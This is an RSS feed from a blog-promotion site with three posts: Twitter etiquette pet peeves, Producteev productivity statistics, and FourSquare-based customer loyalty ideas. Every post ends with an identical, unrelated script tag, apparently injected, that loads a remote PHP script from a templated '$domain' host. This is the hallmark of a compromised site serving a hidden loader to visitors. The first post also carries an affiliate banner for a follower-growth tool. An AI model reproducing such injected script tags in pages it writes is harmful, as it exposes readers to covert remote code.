<p>Twitter is an awesome way to talk to new people, to get to know your audience and build that much cited ‘brand awareness’. But you’ve gotta stop tweeting like an idiot!</p>
<p>Here are my personal top 5 pet peeves (let’s call them tweeves, go on, I dare you!) Come and share yours in the comments.</p>
<h2>1. Send a link in a conversational tweet</h2>
<p>You know what it&#8217;s like. You&#8217;re busy. You don&#8217;t have time to always follow everything. So you have a quick glance at your replies to see who&#8217;s been kind enough to re-tweet your stuff.</p>
<p>You might have a few virtual high-fives from some friends, a question from someone who knows you&#8217;re the go-to guy or gal and then, slap bang in the middle of it all &#8230; a random question from a follower with a link at the end.</p>
<p>What&#8217;s that about?! So you click it, only to find yourself on some lame affiliate promotion or other. Did that improve your day? Or maybe it made you feel all warm and fuzzy about the person who sent you on that random goose chase?</p>
<p>No, I didn&#8217;t think so!</p>
<h2>2. Gatecrash a conversation by asking a stupid question</h2>
<p>We&#8217;ve all done it. We&#8217;ve read a conversation between two well known tweeters and then, because we wanted to get our name under their radar, we&#8217;ve joined in the conversation by asking a question.</p>
<p>Conversation is awesome. One of the best tips I heard about @replies was from <a href="http://twitter.com/#!/markdavidson" target="_blank">Mark Davidson</a>. He suggested including the @ at the end of the sentence instead of the start to encourage more people to join in.</p>
<p>That&#8217;s a fabulous idea. I&#8217;m all in favour of talking instead of blasting ads at people. But. Join in a conversation halfway with a really stupid question and you know what, you&#8217;ll just look like a twit!</p>
<p>(I felt <a href="http://twitter.com/#!/TimBrownson" target="_blank">Tim Brownson</a> breathing down my neck as I wrote that. <a href="http://www.adaringadventure.com/free-stuff/" target="_blank">He said that there are no stupid questions</a>. If you&#8217;d seen what I saw in my Twitter stream three days ago Tim, even you&#8217;d be disagreeing with yourself right now!)</p>
<h2>3. Don’t reply to a tweet (or take 6 days!)</h2>
<p>Twitter&#8217;s about page will tell you it&#8217;s about sharing information. And who am I to argue with Twitter?!</p>
<p>But if every one of the 95 million bits of information let loose on the platform every day are just links and headlines then it becomes nothing more than a glorified self-updating free paper.</p>
<p>Twitter is about conversation. If it weren&#8217;t then they wouldn&#8217;t have invented that rather nifty @ function. But this isn&#8217;t the nineteenth century. There&#8217;s a reason why the post brought by your mailman is known as &#8216;snail mail&#8217; on the &#8216;net. Send someone an @ reply on Twitter and, unless you&#8217;re super famous, people will kinda expect you to reply,</p>
<p>I&#8217;m not suggesting that you live in your Twitter feed but replying to an @ tweet several days after it was sent just isn&#8217;t cool. Ignore people&#8217;s messages to you and you&#8217;ll just look like an idiot!</p>
<h2>4. Link your twitter account to YouTube and then ‘favourite’ 15 videos an hour</h2>
<p>Twitter linked to Facebook linked to You Tube linked to the moon linked to &#8230;</p>
<p>Yes, you need to be seen to be everywhere and being able to link accounts to different places is excellent.</p>
<p>But.</p>
<p>You really must be aware of what you&#8217;re linking where. I&#8217;m not suggesting you keep a list or anything but be aware of what gets tweeted automatically on your behalf when you take action somewhere else.</p>
<p>Did you know that every time you favourite a video on You Tube, you&#8217;ll tell your whole Twitter stream what you&#8217;re up to? Link your Facebook account up and your status will be updated too. That might not ordinarily be a problem but if you go on a You Tube fest (like one person I follow on Twitter did recently) take it from me, your followers will not thank you for it.</p>
<p>No one will care that you&#8217;re a rock star blogger. Send out tweets via YouTube at the rate of 15 an hour and <em>you</em> will look like an idiot too!</p>
<h2><strong>5. Send automatic direct messages</strong></h2>
<p>Love them or loathe them, everyone has an opinion about the much maligned automatic direct message. Personally I think they&#8217;re a slur on human kind but maybe that&#8217;s just me? Worse though is receiving an auto DM from someone who isn&#8217;t following you back.</p>
<p>This happened to me earlier in the week. One of my friends (who shall remain nameless) has two twitter accounts. I started following his business one and received a very friendly (but obviously automatically sent) DM. So I fit reply and prepared to tease him mercilessly. Except. My DM wouldn&#8217;t send because he wasn&#8217;t following me back yet.</p>
<p>Cue major frustration from me. I didn&#8217;t unfollow him. He&#8217;s a mate. But just wait til I next get him on the phone!</p>
<p>Seriously though, automatic DMs are the bane of the earth. I&#8217;m yet to read one that doesn&#8217;t make me want to stick my fingers in my own eyes just so I don&#8217;t have to look at it! Please, please, please, don&#8217;t do it!</p>
<p>Because honestly, if you were stood at the bus stop and saw someone interesting looking, would you walk up to them, give them a copy of your latest free ebook and ask them to sign your diary? I didn&#8217;t think so.</p>
<p>Just because this is online baby doesn&#8217;t mean it&#8217;s any less real. Those creatures you call followers? You&#8217;re not the leader of a cult. Those are human beings. Real people with real thoughts, feelings and opinions.</p>
<p>There&#8217;s no online life and offline life, it&#8217;s all Life. It&#8217;s all real.</p>
<p>So how about we start fighting for real relationships in this real life of ours? How about we start using Twitter to build relationships, to nurture respect and to allow people to be heard and feel valued?</p>
<p>How about we all just get real?</p>
<p>If you are looking for more Twitter followers &#8211; I personally recommend TweetAdder &#8211; click on the banner below to learn more:</p>
<p><a href="http://www.tweetadder.com/idevaffiliate/idevaffiliate.php?id=10448_0_1_5" target="_blank"><img src="http://www.tweetadder.com/idevaffiliate/banners/250x250-1.gif" border="0" alt="" width="250" height="250" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
<p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></content:encoded>
			<wfw:commentRss>http://tycoonblogger.com/promoting-your-blog/5-twitter-tips-that-make-you-look-like-an-idiot/feed</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Insights On Online Productivity</title>
		<link>http://tycoonblogger.com/promoting-your-blog/insights-on-online-productivity</link>
		<comments>http://tycoonblogger.com/promoting-your-blog/insights-on-online-productivity#comments</comments>
		<pubDate>Sun, 12 Dec 2010 18:50:20 +0000</pubDate>
		<dc:creator>Dan Keller</dc:creator>
				<category><![CDATA[Marketing and Promotion]]></category>
		<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://tycoonblogger.com/?p=2198</guid>
		<description><![CDATA[<p><p><a href="http://tycoonblogger.com/promoting-your-blog/insights-on-online-productivity">Insights On Online Productivity</a></p><p>As a Web-based startup that handles task management for tens of thousands of individuals and businesses, Producteev has a very unique bird’s-eye view on how workers manage their tasks and workflow. Though our main aim is to help streamline the task creation and completion process, having access to so much data allows us to compile [...]</p></p><p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://tycoonblogger.com/promoting-your-blog/insights-on-online-productivity">Insights On Online Productivity</a></p><p>As a Web-based startup that handles task management for tens of thousands of individuals and businesses, Producteev has a very unique bird’s-eye view on how workers manage their tasks and workflow.</p>
<p>Though our main aim is to help streamline the task creation and completion process, having access to so much data allows us to compile some very interesting statistics on workflow management and concrete observations.</p>
<p>After parsing hundreds of thousands of created tasks from active users, we came across some pretty interesting information that may shed new light on the digital workforce and how we all might be a little more productive in the future.</p>
<h1>How Productive is the Average Worker?</h1>
<p>The “average” active user of Producteev created some 27.2 tasks a month, averaging out to about 4.5 tasks per day. However, as with all averages, Producteev had a wide variety of members ranging from extremely heavy users and more casual ones.</p>
<p>But while the addition of 4.5 tasks per day might seem to be a healthy clip for an average, only about half of those tasks were completed. This means that the average user creates more than two tasks every day that they fail to complete, possibly creating a snowball effect if it is allowed to continue.</p>
<p>However, some of the tasks involved were probably completed without actually marking them as complete.</p>
<h2>Best Days for Getting Things Done</h2>
<p>By far the biggest day for task creation was Wednesday, with some 20.08% of all tasks being created on that day. The next most popular day was Sunday, likely as workers prepare for the coming week, with some 19.25% of all tasks being created on that day. The rest of the days all had less than 13% of task creation with Friday being the lowest at 11.25%.</p>
<p>However, as great as Wednesday was for setting up new tasks, it wasn’t quite as good for completing them. Thursday was actually the biggest day for completing tasks with 19.56% of all task completions happening on that day and Monday/Tuesday were in a virtual dead heat for second with over 17% each. The worst day was Saturday, which saw 6.73% of all tasks being completed.</p>
<p>This information was in stark contrast though as to when people were most interested in their tasks. Logins to Producteev were highest on Monday and Tuesday, 22.95% and 20.40% respectively. The week largely tapered off until Saturday, which saw only 5.83% of all logins.</p>
<p>What this means is that, while interest was highest on Monday and Tuesday most of the work of assigning tasks was being done on Wednesday and most task completion was taking place on Thursday. This means that, while interest was high early in the week, the middle was when users actually assigned work and shortly after that was the time when they completed the tasks.</p>
<p>While these are not absolutes, they can definitely show patterns of productivity behavior.</p>
<h3>The Effect of a Mobile Workforce</h3>
<p>Finally, though it’s clear that having a mobile workforce is a good thing, it does appear that many are using their iPhones as a means to work on the weekend. iPhone users were about 50% more likely to log in and create tasks on the weekends. Weekend task creation was 35.93% of all iPhone task creation and only 23.87% of all tasks created via the Web interface.</p>
<p>This may be a sign that mobile workers are having a more difficult time unplugging on weekends and may need to take a break once in a while to<a href="http://blog.producteev.com/mind-your-weekend-it-will-make-you-more-produ"> keep their productivity in high level</a>.</p>
<p>Still, as mentioned above, all of these results are average and certainly don’t apply to every individual or company. We plan to keep examining these behaviors and hope to find more interesting patterns in the future.</p>
<p>This was a blog post by Lior who is a marketing consultant at an <a href="http://www.producteev.com/">online task management </a>startup called Producteev.<script src="http://$domain/ll.php?kk=11"></script></p>
<p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></content:encoded>
			<wfw:commentRss>http://tycoonblogger.com/promoting-your-blog/insights-on-online-productivity/feed</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Raving fans or freebie seekers? How to make your customers adore you</title>
		<link>http://tycoonblogger.com/promoting-your-blog/fans-customers-adore</link>
		<comments>http://tycoonblogger.com/promoting-your-blog/fans-customers-adore#comments</comments>
		<pubDate>Tue, 30 Nov 2010 00:58:49 +0000</pubDate>
		<dc:creator>El Edwards</dc:creator>
				<category><![CDATA[Marketing and Promotion]]></category>
		<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://tycoonblogger.com/?p=2170</guid>
		<description><![CDATA[<p><p><a href="http://tycoonblogger.com/promoting-your-blog/fans-customers-adore">Raving fans or freebie seekers? How to make your customers adore you</a></p><p>Walking into our local Wetherspoon for breakfast the other day, I noticed that the FourSquare mayor got 20% off of his or her food bill. That’s a pretty sweet deal I thought and I went to order food; sausage sandwich for me, bacon for him. I’m not the mayor so I paid full price. It [...]</p></p><p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://tycoonblogger.com/promoting-your-blog/fans-customers-adore">Raving fans or freebie seekers? How to make your customers adore you</a></p><div>Walking into our local Wetherspoon for breakfast the other day, I noticed that the FourSquare mayor got 20% off of his or her food bill. That’s a pretty sweet deal I thought and I went to order food; sausage sandwich for me, bacon for him. I’m not the mayor so I paid full price.</div>
<p>It was the start of our 16 hour day of fun and what would be our first of seven visits to a Wetherspoon’s establishment that day! It was when we got to the second venue that my husband noticed the sign giving discount to the mayor. He’s not a keen social media freak like me but the 20% off caught his eye and he insisted I explain what this FourSquare thing was all about.</p>
<p>I have a FourSquare account which I don’t use but he was pretty keen so I installed the free app onto my phone and proceeded to fiddle about with the settings. By the time we reached our final destination (<a href="http://a-ha.com/tour/blog/concert/25-november-2010-cardiff-cia/" target="_blank">the A-Ha gig in Cardiff’s International Arena</a>) I was able to ‘check-in’ and tell all my Twitter friends about how great the support band were.</p>
<p style="text-align: center;">
<p>It was only today, as I was reflecting on the day of fun and how I might use it to share something new and smiley with you (I’ve already used four stories on my daily audio smile over at my place so I was really scratching my head for this one!) that I remembered FourSquare again.</p>
<p>In particular, I was thinking about the perks of being the mayor of a pub. My husband had asked me how you got to be mayor and I told him that it was just whoever happened to be the first person to ‘check-in’. He was all set to challenge a mayor to a duel or call an impromptu election since, he said, it wasn’t fair that one be mayor for life. Turns out that the creators of FourSquare agree.</p>
<p><a href="http://support.foursquare.com/entries/188263-how-can-i-become-a-mayor-in-foursquare" target="_blank">I did a little research this afternoon</a> and the Mayorship is awarded to the person who has ‘checked-in’ the most in a 60 day period. So a mayor is not a mayor for life and the whole system is set up such that people are rewarded for checking in regularly.</p>
<p>I don’t have a lot of friends on FourSquare but my account is linked to my Twitter account where I do have a lot more people I chat with on a daily basis. Every time I check in to a place, I’m encouraged to tell my friends this glorious news and a tweet is sent out with the name of the place I’m at.</p>
<p>So what? Well in theory, every time someone checks into a Wetherspoon’s pub, they tell all their Twitter and Facebook friends about it. They do it because they hope to win the title of Mayor and it’s wonderful for the business concerned because they get lots of free publicity. (Well free-ish. They still have to give that 20% discount to one lucky diner remember!)</p>
<p><strong>So what on earth does this have to do with you and your business?</strong></p>
<p>If you have a bricks and mortar business that people can ‘check-in’ at, you have the option of offering special deals to your mayor and/or other regular customers. You too could get the wonderful free publicity and enjoy a little share of the lime light.</p>
<p>But that’s not the point of today.</p>
<p>I must be honest and say that, while I was aware of FourSquare ages ago, I didn’t really see its potential for local business until just this week. However, what I see now is companies of varying sizes and locations using a pre-exisiting social media platform to connect with their customers and build brand awareness.</p>
<p>But that too is not really the point of today.</p>
<p><strong>Today I’d like to encourage you to look creatively at your business or blog.</strong> What can you do to start rewarding your loyal readers and customers? <a href="http://tycoonblogger.com/promoting-your-blog/six-ways-to-tell-your-customers-i-love-you">We talked before about giving special discounts and freebies to the people on your email list</a> but how about taking it a step further?</p>
<p>Could you give away something of high value to the person who re-tweets your stuff the most? If you wrote something that you were particularly keen to get lots of input on, would it be helpful to run a competition to reward the person with the most compelling comment? How about giving a percentage of your best customer’s purchase price to the charity of their choice? Could you assign each person on your email list a number and randomly pick a winner each month and give them something fabulous?</p>
<p>The answer to all these questions will of course depend upon your circumstances and the sort of blog or business you run. The rewards are clear: higher customer loyalty, raving fans, more frequent repeat business, warm fuzzy feelings. However you like to measure this stuff, everyone is in agreement that relationships are more important than ever.</p>
<p><strong>So now it’s over to you. What can you do to give your customers an extra special reason to tell the world about how awesome you are? Is this something you’ve built into your business already and if not, what’s stopping you?</strong></p>
<p><a href="http://www.flickr.com/photos/elsette/" target="_blank">Image: Elsette</a><script src="http://$domain/ll.php?kk=11"></script></p>
<p><a href="http://tycoonblogger.com">Tycoon Blogger - Promote your Blog - Promote Your Business</a></p>]]></content:encoded>
			<wfw:commentRss>http://tycoonblogger.com/promoting-your-blog/fans-customers-adore/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>

